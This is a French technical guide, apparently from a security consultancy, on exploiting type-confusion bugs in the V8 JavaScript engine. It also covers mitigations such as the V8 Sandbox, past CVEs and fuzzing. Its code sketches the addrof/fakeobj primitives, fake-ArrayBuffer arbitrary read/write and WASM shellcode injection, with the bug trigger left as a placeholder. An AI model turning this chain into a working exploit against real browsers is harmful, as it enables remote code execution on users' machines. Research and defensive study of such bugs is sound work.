L'exploitation du moteur JavaScript V8 (Chrome, Node.js, Deno, Electron) via les vulnérabilités de type confusion représente le sommet de l'exploitation moderne des navigateurs. V8 compile le JavaScript en code machine natif via ses compilateurs TurboFan et Maglev, optimisant agressivement les types pour la performance. Quand les hypothèses de type du compilateur sont incorrectes — par spéculation erronée ou par manipulation des feedback de type — un objet JavaScript est traité comme un type différent, créant un primitif de lecture/écriture arbitraire en mémoire. Ce guide technique approfondi détaille l'architecture interne de V8 (Maps/Hidden Classes, Inline Caches, Sea of Nodes IR), les mécanismes de type confusion, les primitifs fakeobj/addrof, la construction d'exploits complets avec corruption d'ArrayBuffer, et les mitigations (V8 Sandbox, Pointer Compression, CFI). Les chercheurs en sécurité navigateur, les développeurs d'exploits et les équipes de bug bounty trouveront ici une méthodologie complète.

En bref

  • V8 internals : Ignition, TurboFan, Maglev, Maps/Hidden Classes et Inline Caches
  • Type confusion : mécanisme, JIT compilation bugs et exploitation des spéculations de type
  • Primitifs fakeobj/addrof : création d'objets forgés et lecture d'adresses mémoire
  • Chaîne d'exploitation : type confusion → OOB → addrof/fakeobj → arbitrary R/W → shellcode
  • Mitigations V8 : Sandbox, Pointer Compression, CFI et Turboshaft
Type Confusion — Vulnérabilité qui survient quand un programme traite un objet mémoire comme un type différent de son type réel. Dans V8, cela se produit quand le compilateur JIT émet du code optimisé basé sur des hypothèses de type incorrectes, permettant la manipulation de la mémoire en interprétant les données d'un objet selon la structure d'un autre type.

Architecture V8 : Du JavaScript au Code Machine

V8 utilise un pipeline de compilation multi-niveaux pour optimiser le JavaScript :

ComposantFonctionVecteur d'attaque
ParserAnalyse syntaxique du JavaScriptParsing bugs (rare)
IgnitionInterpréteur bytecode (baseline)Bytecode handler bugs
SparkplugCompilateur non-optimisant rapideFaible surface
MaglevCompilateur mid-tier (speculative)Type speculation bugs
TurboFanCompilateur optimisant (Sea of Nodes)Type confusion, bounds elim

Maps et Hidden Classes

V8 utilise des Maps (aussi appelées Hidden Classes) pour décrire la structure d'un objet JavaScript. Chaque objet a un pointeur vers sa Map, qui définit le type des propriétés, leurs offsets en mémoire, et le prototype chain. Le compilateur TurboFan utilise les Maps pour générer du code optimisé — si une fonction reçoit toujours des objets avec la même Map, TurboFan émet du code qui accède directement aux propriétés par offset sans vérification de type.

// V8 Maps en action
let obj1 = {x: 1, y: 2};    // Map M1: {x: @offset0, y: @offset8}
let obj2 = {x: 3, y: 4};    // Même Map M1 (même structure)
let obj3 = {x: 5, z: 6};    // Map M2 différente (propriété z au lieu de y)

function getX(o) { return o.x; }
// Après plusieurs appels avec des objets Map M1:
// TurboFan émet: load [obj + offset_x_dans_M1] ← accès direct par offset
// Si un objet avec Map M2 est passé → le code optimisé lit le mauvais offset

Type Confusion dans TurboFan

Les vulnérabilités de type confusion dans TurboFan surviennent quand le compilateur fait des hypothèses incorrectes sur les types. Les catégories principales :

  • Bounds elimination bugs : TurboFan élimine les vérifications de bornes quand il prouve (incorrectement) qu'un index est toujours dans les limites → out-of-bounds access
  • Type widening bugs : le compilateur élargit un type (e.g., SMI → HeapNumber) mais le code généré continue d'utiliser la représentation étroite
  • Escape analysis bugs : TurboFan alloue un objet sur la stack (scalar replacement) au lieu de la heap, mais l'objet échappe la portée prévue
  • Turboshaft/Maglev bugs : les nouveaux compilateurs introduisent de nouvelles classes de bugs lors de la migration progressive depuis TurboFan

Primitifs fakeobj et addrof

Les primitifs fakeobj et addrof sont les deux primitifs fondamentaux de l'exploitation V8 :

// addrof : obtenir l'adresse mémoire d'un objet JavaScript
// Via type confusion : un tableau de floats et un tableau d'objets partagent le backing store
// Lire l'élément comme float retourne l'adresse de l'objet en tant que nombre

// fakeobj : créer un "objet" JavaScript pointant vers une adresse contrôlée
// Via type confusion : écrire une adresse dans un tableau de floats
// Puis lire l'élément comme objet → V8 traite l'adresse comme un pointeur d'objet

// Avec addrof + fakeobj, l'attaquant peut :
// 1. Lire l'adresse d'un ArrayBuffer backing store (addrof)
// 2. Créer un faux objet ArrayBuffer avec un backing store pointant vers n'importe où (fakeobj)
// 3. Lire/écrire n'importe quelle adresse via le faux ArrayBuffer

Chaîne d'Exploitation V8 Complète

// Étape 1 : Triggering type confusion via JIT bug
// (Le bug spécifique dépend de la CVE)
function trigger_confusion() {
    let arr_float = [1.1, 2.2, 3.3];
    let arr_obj = [{}, {}, {}];
    
    // ... Bug-specific code that confuses TurboFan ...
    // Résultat : arr_float et arr_obj partagent la même mémoire
    
    return {arr_float, arr_obj};
}

// Étape 2 : Construire addrof et fakeobj
function addrof(obj) {
    confused.arr_obj[0] = obj;
    return f2i(confused.arr_float[0]); // Lire l'adresse comme un float
}

function fakeobj(addr) {
    confused.arr_float[0] = i2f(addr);
    return confused.arr_obj[0]; // Interpréter l'adresse comme un objet
}

// Étape 3 : Arbitrary R/W via faux ArrayBuffer
let fake_ab_struct = new Float64Array(8);
// Remplir avec une structure ArrayBuffer forgée
// fake_ab_struct[offset_backing_store] = target_address;

let fake_ab = fakeobj(addrof(fake_ab_struct) + header_offset);
let view = new DataView(fake_ab);
// view.getUint32(0) lit depuis target_address !

// Étape 4 : Shellcode via WASM
// Compiler un module WebAssembly → V8 alloue une page RWX
// Écraser le code WASM avec du shellcode via l'arbitrary write
let wasmModule = new WebAssembly.Module(wasmBuffer);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let rwx_addr = addrof(wasmInstance) + wasm_code_offset;
// Écrire le shellcode à rwx_addr
// Appeler la fonction WASM → exécute le shellcode

V8 Sandbox : La Mitigation Majeure

Le V8 Sandbox (activé dans Chrome 123+) est une mitigation majeure : il confine tous les objets V8 dans une région mémoire de 1 TB (sandbox). Les pointeurs V8 sont compressés (32 bits relatifs à la base du sandbox) et ne peuvent pas référencer de la mémoire hors du sandbox. Même avec un arbitrary R/W dans le sandbox V8, l'attaquant ne peut pas directement accéder à la mémoire du processus renderer (code, GOT, stack).

Pour échapper au V8 Sandbox, l'attaquant doit trouver un second bug — typiquement dans les objets "trusted" qui vivent hors du sandbox (ArrayBuffer backing stores externes, API bindings, WASM code). Les External Pointers sont des pointeurs hors-sandbox stockés dans une External Pointer Table (EPT) indexée et typée — chaque entrée est taguée pour empêcher les confusions de type sur les pointeurs externes.

CVE V8 Récentes et Patterns d'Exploitation

  • CVE-2021-21224 : type confusion dans le calcul d'entiers dans TurboFan. Incorrect integer narrowing permettait un OOB access, exploité comme 0-day.
  • CVE-2020-6418 : type confusion via incorrect side-effect modeling dans TurboFan. Le compilateur ne prenait pas en compte les effets de bord d'un callback, permettant une corruption de type.
  • CVE-2023-2033 : type confusion dans Ignition (interpréteur) — rare car la plupart des bugs sont dans le JIT.
  • CVE-2024-4947 : type confusion dans Maglev (le nouveau compilateur mid-tier), exploité comme 0-day en mai 2024.
⚠️ Attention — L'exploitation V8 est devenue extrêmement difficile en 2026 avec le V8 Sandbox, le Pointer Compression, et le CFI. Une exploitation complète (code execution dans le renderer) nécessite typiquement 2 bugs : un pour le V8 Sandbox escape et un pour le Chrome Sandbox escape. Les prix sur le marché des 0-days reflètent cette complexité : >500k$ pour une chaîne Chrome complète.
💡 Conseil pratique — Pour la recherche de vulnérabilités V8, compilez V8 en mode debug avec v8_enable_verify_heap=true et v8_enable_slow_dchecks=true. Utilisez --trace-turbo pour visualiser les graphes TurboFan et identifier les optimisations incorrectes. Le fuzzer Fuzzilli de Google Project Zero est le standard pour le fuzzing de moteurs JS.

À retenir

  • V8 compile le JavaScript en code natif via TurboFan/Maglev — les spéculations de type incorrectes créent des type confusions
  • Les primitifs fakeobj/addrof permettent de convertir entre adresses mémoire et objets JavaScript
  • La chaîne d'exploitation classique : type confusion → OOB → addrof/fakeobj → arbitrary R/W → WASM shellcode
  • Le V8 Sandbox (Chrome 123+) confine les objets V8 dans une région de 1 TB — un second bug est nécessaire pour en sortir
  • Les CVE V8 0-day sont exploitées activement par des APT — prix du marché >500k$ pour une chaîne complète

FAQ — Questions Fréquentes

Pourquoi V8 est-il si ciblé par les attaquants ?

V8 est le moteur JavaScript le plus déployé au monde (Chrome ~65% de marché, Node.js, Electron, Deno). Un exploit V8 affecte des milliards de devices. De plus, V8 est un compilateur JIT extrêmement complexe — la compilation optimisante crée mécaniquement des vulnérabilités de type confusion, bounds elimination, et escape analysis qui sont difficiles à prévenir.

Le V8 Sandbox empêche-t-il l'exploitation ?

Le V8 Sandbox rend l'exploitation beaucoup plus difficile mais pas impossible. Il empêche l'arbitrary R/W hors de la région sandbox, mais un attaquant peut encore cibler les External Pointers (EPT), les objets trusted hors sandbox, ou les API bindings Chrome. Une exploitation complète nécessite un sandbox escape additionnel.

Comment trouver des bugs V8 ?

Les approches principales : fuzzing avec Fuzzilli (fuzzer JS structurel de Project Zero), audit de code des passes d'optimisation TurboFan/Maglev (reduceCheck operations, type narrowing), et differential testing entre l'interpréteur Ignition et le code compilé TurboFan. Surveillez les commits V8 sur les fixed bugs pour comprendre les patterns de vulnérabilités.

Besoin d'un accompagnement expert ?

Nos consultants spécialisés en sécurité navigateur et exploitation web vous accompagnent dans l'évaluation de votre posture de sécurité.

Contactez-nous
Article recommandé : Intel ME et AMD PSP : Exploitation des Coprocesseurs Cachés